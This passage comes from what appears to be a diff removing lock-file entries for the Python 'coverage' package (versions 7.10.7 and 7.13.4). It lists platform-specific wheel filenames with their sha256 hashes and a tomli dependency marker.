"sha256:b51dcd060f18c19290d9b8a9dd1e0181538df2ce0717f562fff6cf74d9fc0b5b"}, - {file = "coverage-7.10.7-cp310-cp310-win_amd64.whl", hash = "sha256:3a622ac801b17198020f09af3eaf45666b344a0d69fc2a6ffe2ea83aeef1d807"}, - {file = "coverage-7.10.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a609f9c93113be646f44c2a0256d6ea375ad047005d7f57a5c15f614dc1b2f59"}, - {file = "coverage-7.10.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:65646bb0359386e07639c367a22cf9b5bf6304e8630b565d0626e2bdf329227a"}, - {file = "coverage-7.10.7-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5f33166f0dfcce728191f520bd2692914ec70fac2713f6bf3ce59c3deacb4699"}, - {file = "coverage-7.10.7-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:35f5e3f9e455bb17831876048355dca0f758b6df22f49258cb5a91da23ef437d"}, - {file = "coverage-7.10.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4da86b6d62a496e908ac2898243920c7992499c1712ff7c2b6d837cc69d9467e"}, - {file = "coverage-7.10.7-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6b8b09c1fad947c84bbbc95eca841350fad9cbfa5a2d7ca88ac9f8d836c92e23"}, - {file = "coverage-7.10.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:4376538f36b533b46f8971d3a3e63464f2c7905c9800db97361c43a2b14792ab"}, - {file = "coverage-7.10.7-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:121da30abb574f6ce6ae09840dae322bef734480ceafe410117627aa54f76d82"}, - {file = "coverage-7.10.7-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:88127d40df529336a9836870436fc2751c339fbaed3a836d42c93f3e4bd1d0a2"}, - {file = "coverage-7.10.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ba58bbcd1b72f136080c0bccc2400d66cc6115f3f906c499013d065ac33a4b61"}, - {file = "coverage-7.10.7-cp311-cp311-win32.whl", hash = "sha256:972b9e3a4094b053a4e46832b4bc829fc8a8d347160eb39d03f1690316a99c14"}, - {file = "coverage-7.10.7-cp311-cp311-win_amd64.whl", hash = "sha256:a7b55a944a7f43892e28ad4bc0561dfd5f0d73e605d1aa5c3c976b52aea121d2"}, - {file = "coverage-7.10.7-cp311-cp311-win_arm64.whl", hash = "sha256:736f227fb490f03c6488f9b6d45855f8e0fd749c007f9303ad30efab0e73c05a"}, - {file = "coverage-7.10.7-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7bb3b9ddb87ef7725056572368040c32775036472d5a033679d1fa6c8dc08417"}, - {file = "coverage-7.10.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:18afb24843cbc175687225cab1138c95d262337f5473512010e46831aa0c2973"}, - {file = "coverage-7.10.7-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:399a0b6347bcd3822be369392932884b8216d0944049ae22925631a9b3d4ba4c"}, - {file = "coverage-7.10.7-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:314f2c326ded3f4b09be11bc282eb2fc861184bc95748ae67b360ac962770be7"}, - {file = "coverage-7.10.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c41e71c9cfb854789dee6fc51e46743a6d138b1803fab6cb860af43265b42ea6"}, - {file = "coverage-7.10.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc01f57ca26269c2c706e838f6422e2a8788e41b3e3c65e2f41148212e57cd59"}, - {file = "coverage-7.10.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a6442c59a8ac8b85812ce33bc4d05bde3fb22321fa8294e2a5b487c3505f611b"}, - {file = "coverage-7.10.7-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:78a384e49f46b80fb4c901d52d92abe098e78768ed829c673fbb53c498bef73a"}, - {file = "coverage-7.10.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:5e1e9802121405ede4b0133aa4340ad8186a1d2526de5b7c3eca519db7bb89fb"}, - {file = "coverage-7.10.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d41213ea25a86f69efd1575073d34ea11aabe075604ddf3d148ecfec9e1e96a1"}, - {file = "coverage-7.10.7-cp312-cp312-win32.whl", hash = "sha256:77eb4c747061a6af8d0f7bdb31f1e108d172762ef579166ec84542f711d90256"}, - {file = "coverage-7.10.7-cp312-cp312-win_amd64.whl", hash = "sha256:f51328ffe987aecf6d09f3cd9d979face89a617eacdaea43e7b3080777f647ba"}, - {file = "coverage-7.10.7-cp312-cp312-win_arm64.whl", hash = "sha256:bda5e34f8a75721c96085903c6f2197dc398c20ffd98df33f866a9c8fd95f4bf"}, - {file = "coverage-7.10.7-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:981a651f543f2854abd3b5fcb3263aac581b18209be49863ba575de6edf4c14d"}, - {file = "coverage-7.10.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:73ab1601f84dc804f7812dc297e93cd99381162da39c47040a827d4e8dafe63b"}, - {file = "coverage-7.10.7-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:a8b6f03672aa6734e700bbcd65ff050fd19cddfec4b031cc8cf1c6967de5a68e"}, - {file = "coverage-7.10.7-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:10b6ba00ab1132a0ce4428ff68cf50a25efd6840a42cdf4239c9b99aad83be8b"}, - {file = "coverage-7.10.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c79124f70465a150e89340de5963f936ee97097d2ef76c869708c4248c63ca49"}, - {file = "coverage-7.10.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:69212fbccdbd5b0e39eac4067e20a4a5256609e209547d86f740d68ad4f04911"}, - {file = "coverage-7.10.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7ea7c6c9d0d286d04ed3541747e6597cbe4971f22648b68248f7ddcd329207f0"}, - {file = "coverage-7.10.7-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b9be91986841a75042b3e3243d0b3cb0b2434252b977baaf0cd56e960fe1e46f"}, - {file = "coverage-7.10.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:b281d5eca50189325cfe1f365fafade89b14b4a78d9b40b05ddd1fc7d2a10a9c"}, - {file = "coverage-7.10.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:99e4aa63097ab1118e75a848a28e40d68b08a5e19ce587891ab7fd04475e780f"}, - {file = "coverage-7.10.7-cp313-cp313-win32.whl", hash = "sha256:dc7c389dce432500273eaf48f410b37886be9208b2dd5710aaf7c57fd442c698"}, - {file = "coverage-7.10.7-cp313-cp313-win_amd64.whl", hash = "sha256:cac0fdca17b036af3881a9d2729a850b76553f3f716ccb0360ad4dbc06b3b843"}, - {file = "coverage-7.10.7-cp313-cp313-win_arm64.whl", hash = "sha256:4b6f236edf6e2f9ae8fcd1332da4e791c1b6ba0dc16a2dc94590ceccb482e546"}, - {file = "coverage-7.10.7-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a0ec07fd264d0745ee396b666d47cef20875f4ff2375d7c4f58235886cc1ef0c"}, - {file = "coverage-7.10.7-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:dd5e856ebb7bfb7672b0086846db5afb4567a7b9714b8a0ebafd211ec7ce6a15"}, - {file = "coverage-7.10.7-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:f57b2a3c8353d3e04acf75b3fed57ba41f5c0646bbf1d10c7c282291c97936b4"}, - {file = "coverage-7.10.7-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1ef2319dd15a0b009667301a3f84452a4dc6fddfd06b0c5c53ea472d3989fbf0"}, - {file = "coverage-7.10.7-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:83082a57783239717ceb0ad584de3c69cf581b2a95ed6bf81ea66034f00401c0"}, - {file = "coverage-7.10.7-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:50aa94fb1fb9a397eaa19c0d5ec15a5edd03a47bf1a3a6111a16b36e190cff65"}, - {file = "coverage-7.10.7-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:2120043f147bebb41c85b97ac45dd173595ff14f2a584f2963891cbcc3091541"}, - {file = "coverage-7.10.7-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:2fafd773231dd0378fdba66d339f84904a8e57a262f583530f4f156ab83863e6"}, - {file = "coverage-7.10.7-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:0b944ee8459f515f28b851728ad224fa2d068f1513ef6b7ff1efafeb2185f999"}, - {file = "coverage-7.10.7-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:4b583b97ab2e3efe1b3e75248a9b333bd3f8b0b1b8e5b45578e05e5850dfb2c2"}, - {file = "coverage-7.10.7-cp313-cp313t-win32.whl", hash = "sha256:2a78cd46550081a7909b3329e2266204d584866e8d97b898cd7fb5ac8d888b1a"}, - {file = "coverage-7.10.7-cp313-cp313t-win_amd64.whl", hash = "sha256:33a5e6396ab684cb43dc7befa386258acb2d7fae7f67330ebb85ba4ea27938eb"}, - {file = "coverage-7.10.7-cp313-cp313t-win_arm64.whl", hash = "sha256:86b0e7308289ddde73d863b7683f596d8d21c7d8664ce1dee061d0bcf3fbb4bb"}, - {file = "coverage-7.10.7-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:b06f260b16ead11643a5a9f955bd4b5fd76c1a4c6796aeade8520095b75de520"}, - {file = "coverage-7.10.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:212f8f2e0612778f09c55dd4872cb1f64a1f2b074393d139278ce902064d5b32"}, - {file = "coverage-7.10.7-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3445258bcded7d4aa630ab8296dea4d3f15a255588dd535f980c193ab6b95f3f"}, - {file = "coverage-7.10.7-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:bb45474711ba385c46a0bfe696c695a929ae69ac636cda8f532be9e8c93d720a"}, - {file = "coverage-7.10.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:813922f35bd800dca9994c5971883cbc0d291128a5de6b167c7aa697fcf59360"}, - {file = "coverage-7.10.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:93c1b03552081b2a4423091d6fb3787265b8f86af404cff98d1b5342713bdd69"}, - {file = "coverage-7.10.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:cc87dd1b6eaf0b848eebb1c86469b9f72a1891cb42ac7adcfbce75eadb13dd14"}, - {file = "coverage-7.10.7-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:39508ffda4f343c35f3236fe8d1a6634a51f4581226a1262769d7f970e73bffe"}, - {file = "coverage-7.10.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:925a1edf3d810537c5a3abe78ec5530160c5f9a26b1f4270b40e62cc79304a1e"}, - {file = "coverage-7.10.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2c8b9a0636f94c43cd3576811e05b89aa9bc2d0a85137affc544ae5cb0e4bfbd"}, - {file = "coverage-7.10.7-cp314-cp314-win32.whl", hash = "sha256:b7b8288eb7cdd268b0304632da8cb0bb93fadcfec2fe5712f7b9cc8f4d487be2"}, - {file = "coverage-7.10.7-cp314-cp314-win_amd64.whl", hash = "sha256:1ca6db7c8807fb9e755d0379ccc39017ce0a84dcd26d14b5a03b78563776f681"}, - {file = "coverage-7.10.7-cp314-cp314-win_arm64.whl", hash = "sha256:097c1591f5af4496226d5783d036bf6fd6cd0cbc132e071b33861de756efb880"}, - {file = "coverage-7.10.7-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:a62c6ef0d50e6de320c270ff91d9dd0a05e7250cac2a800b7784bae474506e63"}, - {file = "coverage-7.10.7-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9fa6e4dd51fe15d8738708a973470f67a855ca50002294852e9571cdbd9433f2"}, - {file = "coverage-7.10.7-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:8fb190658865565c549b6b4706856d6a7b09302c797eb2cf8e7fe9dabb043f0d"}, - {file = "coverage-7.10.7-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:affef7c76a9ef259187ef31599a9260330e0335a3011732c4b9effa01e1cd6e0"}, - {file = "coverage-7.10.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6e16e07d85ca0cf8bafe5f5d23a0b850064e8e945d5677492b06bbe6f09cc699"}, - {file = "coverage-7.10.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:03ffc58aacdf65d2a82bbeb1ffe4d01ead4017a21bfd0454983b88ca73af94b9"}, - {file = "coverage-7.10.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:1b4fd784344d4e52647fd7857b2af5b3fbe6c239b0b5fa63e94eb67320770e0f"}, - {file = "coverage-7.10.7-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:0ebbaddb2c19b71912c6f2518e791aa8b9f054985a0769bdb3a53ebbc765c6a1"}, - {file = "coverage-7.10.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:a2d9a3b260cc1d1dbdb1c582e63ddcf5363426a1a68faa0f5da28d8ee3c722a0"}, - {file = "coverage-7.10.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:a3cc8638b2480865eaa3926d192e64ce6c51e3d29c849e09d5b4ad95efae5399"}, - {file = "coverage-7.10.7-cp314-cp314t-win32.whl", hash = "sha256:67f8c5cbcd3deb7a60b3345dffc89a961a484ed0af1f6f73de91705cc6e31235"}, - {file = "coverage-7.10.7-cp314-cp314t-win_amd64.whl", hash = "sha256:e1ed71194ef6dea7ed2d5cb5f7243d4bcd334bfb63e59878519be558078f848d"}, - {file = "coverage-7.10.7-cp314-cp314t-win_arm64.whl", hash = "sha256:7fe650342addd8524ca63d77b2362b02345e5f1a093266787d210c70a50b471a"}, - {file = "coverage-7.10.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:fff7b9c3f19957020cac546c70025331113d2e61537f6e2441bc7657913de7d3"}, - {file = "coverage-7.10.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:bc91b314cef27742da486d6839b677b3f2793dfe52b51bbbb7cf736d5c29281c"}, - {file = "coverage-7.10.7-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:567f5c155eda8df1d3d439d40a45a6a5f029b429b06648235f1e7e51b522b396"}, - {file = "coverage-7.10.7-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2af88deffcc8a4d5974cf2d502251bc3b2db8461f0b66d80a449c33757aa9f40"}, - {file = "coverage-7.10.7-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7315339eae3b24c2d2fa1ed7d7a38654cba34a13ef19fbcb9425da46d3dc594"}, - {file = "coverage-7.10.7-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:912e6ebc7a6e4adfdbb1aec371ad04c68854cd3bf3608b3514e7ff9062931d8a"}, - {file = "coverage-7.10.7-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:f49a05acd3dfe1ce9715b657e28d138578bc40126760efb962322c56e9ca344b"}, - {file = "coverage-7.10.7-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:cce2109b6219f22ece99db7644b9622f54a4e915dad65660ec435e89a3ea7cc3"}, - {file = "coverage-7.10.7-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:f3c887f96407cea3916294046fc7dab611c2552beadbed4ea901cbc6a40cc7a0"}, - {file = "coverage-7.10.7-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:635adb9a4507c9fd2ed65f39693fa31c9a3ee3a8e6dc64df033e8fdf52a7003f"}, - {file = "coverage-7.10.7-cp39-cp39-win32.whl", hash = "sha256:5a02d5a850e2979b0a014c412573953995174743a3f7fa4ea5a6e9a3c5617431"}, - {file = "coverage-7.10.7-cp39-cp39-win_amd64.whl", hash = "sha256:c134869d5ffe34547d14e174c866fd8fe2254918cc0a95e99052903bc1543e07"}, - {file = "coverage-7.10.7-py3-none-any.whl", hash = "sha256:f7941f6f2fe6dd6807a1208737b8a0cbcf1cc6d7b07d24998ad2d63590868260"}, - {file = "coverage-7.10.7.tar.gz", hash = "sha256:f4ab143ab113be368a3e9b795f9cd7906c5ef407d6173fe9675a902e1fffc239"}, -] - -[package.dependencies] -tomli = {version = "*", optional = true, markers = "python_full_version <= \"3.11.0a6\" and extra == \"toml\""} - -[package.extras] -toml = ["tomli ; python_full_version <= \"3.11.0a6\""] - -[[package]] -name = "coverage" -version = "7.13.4" -description = "Code coverage measurement for Python" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "coverage-7.13.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0fc31c787a84f8cd6027eba44010517020e0d18487064cd3d8968941856d1415"}, - {file = "coverage-7.13.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a32ebc02a1805adf637fc8dec324b5cdacd2e493515424f70ee33799573d661b"}, - {file = "coverage-7.13.4-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e24f9156097ff9dc286f2f913df3a7f63c0e333dcafa3c196f2c18b4175ca09a"}, - {file = "coverage-7.13.4-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8041b6c5bfdc03257666e9881d33b1abc88daccaf73f7b6340fb7946655cd10f"}, - {file = "coverage-7.13.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a09cfa6a5862bc2fc6ca7c3def5b2926194a56b8ab78ffcf617d28911123012"}, - {file = "coverage-7.13.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:296f8b0af861d3970c2a4d8c91d48eb4dd4771bcef9baedec6a9b515d7de3def"}, - {file = "coverage-7.13.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e101609bcbbfb04605ea1027b10dc3735c094d12d40826a60f897b98b1c30256"}, - {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aa3feb8db2e87ff5e6d00d7e1480ae241876286691265657b500886c98f38bda"}, - {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4fc7fa81bbaf5a02801b65346c8b3e657f1d93763e58c0abdf7c992addd81a92"}, - {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:33901f604424145c6e9c2398684b92e176c0b12df77d52db81c20abd48c3794c"}, - {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:bb28c0f2cf2782508a40cec377935829d5fcc3ad9a3681375af4e84eb34b6b58"}, - {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9d107aff57a83222ddbd8d9ee705ede2af2cc926608b57abed8ef96b50b7e8f9"}, - {file = "coverage-7.13.4-cp310-cp310-win32.whl", hash = "sha256:a6f94a7d00eb18f1b6d403c91a88fd58cfc92d4b16080dfdb774afc8294469bf"}, - {file = "coverage-7.13.4-cp310-cp310-win_amd64.whl", hash = "sha256:2cb0f1e000ebc419632bbe04366a8990b6e32c4e0b51543a6484ffe15eaeda95"}, - {file = "coverage-7.13.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d490ba50c3f35dd7c17953c68f3270e7ccd1c6642e2d2afe2d8e720b98f5a053"}, - {file = "coverage-7.13.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:19bc3c88078789f8ef36acb014d7241961dbf883fd2533d18cb1e7a5b4e28b11"}, - {file = "coverage-7.13.4-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3998e5a32e62fdf410c0dbd3115df86297995d6e3429af80b8798aad894ca7aa"}, - {file = "coverage-7.13.4-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e264226ec98e01a8e1054314af91ee6cde0eacac4f465cc93b03dbe0bce2fd7"}, - {file = "coverage-7.13.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a3aa4e7b9e416774b21797365b358a6e827ffadaaca81b69ee02946852449f00"}, - {file = "coverage-7.13.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:71ca20079dd8f27fcf808817e281e90220475cd75115162218d0e27549f95fef"}, - {file = "coverage-7.13.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e2f25215f1a359ab17320b47bcdaca3e6e6356652e8256f2441e4ef972052903"}, - {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d65b2d373032411e86960604dc4edac91fdfb5dca539461cf2cbe78327d1e64f"}, - {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94eb63f9b363180aff17de3e7c8760c3ba94664ea2695c52f10111244d16a299"}, - {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e856bf6616714c3a9fbc270ab54103f4e685ba236fa98c054e8f87f266c93505"}, - {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:65dfcbe305c3dfe658492df2d85259e0d79ead4177f9ae724b6fb245198f55d6"}, - {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b507778ae8a4c915436ed5c2e05b4a6cecfa70f734e19c22a005152a11c7b6a9"}, - {file = "coverage-7.13.4-cp311-cp311-win32.whl", hash = "sha256:784fc3cf8be001197b652d51d3fd259b1e2262888693a4636e18879f613a62a9"}, - {file = "coverage-7.13.4-cp311-cp311-win_amd64.whl", hash = "sha256:2421d591f8ca05b308cf0092807308b2facbefe54af7c02ac22548b88b95c98f"}, - {file = "coverage-7.13.4-cp311-cp311-win_arm64.whl", hash = "sha256:79e73a76b854d9c6088fe5d8b2ebe745f8681c55f7397c3c0a016192d681045f"}, - {file = "coverage-7.13.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:02231499b08dabbe2b96612993e5fc34217cdae907a51b906ac7fca8027a4459"}, - {file = "coverage-7.13.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40aa8808140e55dc022b15d8aa7f651b6b3d68b365ea0398f1441e0b04d859c3"}, - {file = "coverage-7.13.4-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5b856a8ccf749480024ff3bd7310adaef57bf31fd17e1bfc404b7940b6986634"}, - {file = "coverage-7.13.4-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c048ea43875fbf8b45d476ad79f179809c590ec7b79e2035c662e7afa3192e3"}, - {file = "coverage-7.13.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b7b38448866e83176e28086674fe7368ab8590e4610fb662b44e345b86d63ffa"}, - {file = "coverage-7.13.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:de6defc1c9badbf8b9e67ae90fd00519186d6ab64e5cc5f3d21359c2a9b2c1d3"}, - {file = "coverage-7.13.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7eda778067ad7ffccd23ecffce537dface96212576a07924cbf0d8799d2ded5a"}, - {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e87f6c587c3f34356c3759f0420693e35e7eb0e2e41e4c011cb6ec6ecbbf1db7"}, - {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8248977c2e33aecb2ced42fef99f2d319e9904a36e55a8a68b69207fb7e43edc"}, - {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:25381386e80ae727608e662474db537d4df1ecd42379b5ba33c84633a2b36d47"}, - {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:ee756f00726693e5ba94d6df2bdfd64d4852d23b09bb0bc700e3b30e6f333985"}, - {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fdfc1e28e7c7cdce44985b3043bc13bbd9c747520f94a4d7164af8260b3d91f0"}, - {file = "coverage-7.13.4-cp312-cp312-win32.whl", hash = "sha256:01d4cbc3c283a17fc1e42d614a119f7f438eabb593391283adca8dc86eff1246"}, - {file = "coverage-7.13.4-cp312-cp312-win_amd64.whl", hash = "sha256:9401ebc7ef522f01d01d45532c68c5ac40fb27113019b6b7d8b208f6e9baa126"}, - {file = "coverage-7.13.4-cp312-cp312-win_arm64.whl", hash = "sha256:b1ec7b6b6e93255f952e27ab58fbc68dcc468844b16ecbee881aeb29b6ab4d8d"}, - {file = "coverage-7.13.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b66a2da594b6068b48b2692f043f35d4d3693fb639d5ea8b39533c2ad9ac3ab9"}, - {file = "coverage-7.13.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3599eb3992d814d23b35c536c28df1a882caa950f8f507cef23d1cbf334995ac"}, - {file = "coverage-7.13.4-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:93550784d9281e374fb5a12bf1324cc8a963fd63b2d2f223503ef0fd4aa339ea"}, - {file = "coverage-7.13.4-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b720ce6a88a2755f7c697c23268ddc47a571b88052e6b155224347389fdf6a3b"}, - {file = "coverage-7.13.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7b322db1284a2ed3aa28ffd8ebe3db91c929b7a333c0820abec3d838ef5b3525"}, - {file = "coverage-7.13.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f4594c67d8a7c89cf922d9df0438c7c7bb022ad506eddb0fdb2863359ff78242"}, - {file = "coverage-7.13.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:53d133df809c743eb8bce33b24bcababb371f4441340578cd406e084d94a6148"}, - {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:76451d1978b95ba6507a039090ba076105c87cc76fc3efd5d35d72093964d49a"}, - {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7f57b33491e281e962021de110b451ab8a24182589be17e12a22c79047935e23"}, - {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:1731dc33dc276dafc410a885cbf5992f1ff171393e48a21453b78727d090de80"}, - {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:bd60d4fe2f6fa7dff9223ca1bbc9f05d2b6697bc5961072e5d3b952d46e1b1ea"}, - {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9181a3ccead280b828fae232df12b16652702b49d41e99d657f46cc7b1f6ec7a"}, - {file = "coverage-7.13.4-cp313-cp313-win32.whl", hash = "sha256:f53d492307962561ac7de4cd1de3e363589b000ab69617c6156a16ba7237998d"}, - {file = "coverage-7.13.4-cp313-cp313-win_amd64.whl", hash = "sha256:e6f70dec1cc557e52df5306d051ef56003f74d56e9c4dd7ddb07e07ef32a84dd"}, - {file = "coverage-7.13.4-cp313-cp313-win_arm64.whl", hash = 